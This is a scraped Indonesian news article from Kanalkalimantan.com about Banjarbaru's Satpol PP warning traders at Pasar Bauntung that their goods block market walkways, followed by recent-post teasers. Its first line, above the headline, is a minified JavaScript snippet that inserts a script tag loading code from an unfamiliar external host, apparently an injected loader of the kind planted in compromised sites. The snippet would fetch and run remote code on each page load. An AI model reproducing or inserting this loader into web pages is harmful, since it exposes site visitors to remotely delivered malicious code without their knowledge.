(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Barang Dagangan ‘Offside’ Halangi Akses Jalan di Pasar Bauntung Banjarbaru


KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota Banjarbaru menindak tegas pedagang yang melanggar aturan pendirian bangunan toko atau lapak berjualan di Pasar Bauntung, Banjarbaru, Kamis (4/4/2024) siang.

Khususnya pedagang yang melanggar aturan dalam menempatkan barang dagangan melebihi batas setiap blok toko.

Sesuai arah Wali Kota Banjarbaru, barang pedagang yang menghalangi ekses jalan di pasar ditertibkan oleh Satuan Polisi Pamong Praja (Satpol PP) Banjarbaru.

Baca juga: U Turn Mekatani A Yani Km 29 Ditutup, Sementara Dipasang Water Barrier

Kasi Opsdal Satpol PP Babjarbaru, Yanto Hidayat mengatakan, para pedagang sudah diberikan ketentuan agar tidak meluaskan meja atau tempat berdagang melampaui batas

“Sesuai arahan dari Wali Kota melalui UPT Pasar Bauntung, terkait adanya pedagang yang melebihi batas berjualan melebihi tempat area kepemilikannya tokonya,” ujar Kasi Opsdal Satpol PP Banjarbaru, Yanto Hidayat, kepada Kanalkalimantan.com, Jumat (5/4/2024) siang.

Di Pasar Bauntung Banjarbaru puluhan pemilik toko telah menerima teguran dan imbauan agar membongkar letak barang dagangan yang melampaui batas jalan hingga mengganggu kenyamanan pengguna jalan.

Mereka diminta memasukkan tumpukan dagangannya yang berada di lantai ke dalam toko.

Baca juga: Puluhan Remaja di Banjarmasin Terjaring Hendak Bikin Gaduh Waktu Sahur

“Para pedagang harus menyesuaikan ketentuan dimana mereka diberikan hak berjualan, tidak melampaui batas yang ditandai garis berwarna hitam, jadi mereka harus masuk ke dalam,” ungkapnya.

Dijelaskan Yanto bahwa tindakan peneguran ini adalah yang pertama. Sedangkan himbauan kedua, akan kembali dilakukan oleh pihak UPT Pasar Bauntung.

“Bisa jadi penertiban akan kita laksanakan setelah pihak pihak UPT Pasar Bauntung juga memberikan himbauan kembali. Ini action awal kami sesuai arahan,” tegasnya.

Adapun mayoritas pedagang yang ditemui melanggar seperti penjual baju, sembako, dan penjual sayur yang rata-rata menempatkan barang dagangan di jalan alias di tempat pengunjung pasar berlalu lalang.

Baca juga: Sidak ke Pasar Martapura, Wabup Banjar dan Tim Temukan Ini

Di lokasi juga, beberapa pedagang koperatif menaati imbauan yang diberikan. Tapi banyak juga dari mereka yang protes dan meminta waktu untuk memindahkan barang dagangannya.

“Ada juga yang sebagian mereka yang siap untuk membongkar tetapi minta waktu. Maka nanti kita sesuaikan jika masih ditemukan adanya laporan maka akan kita tindak,” tuntas dia. (Kanalkalimantan.com/wanda)

Reporter : wanda
Editor : bie


Muhammad Andi

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

6 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

6 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

6 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

6 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

6 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

6 bulan ago

This website uses cookies.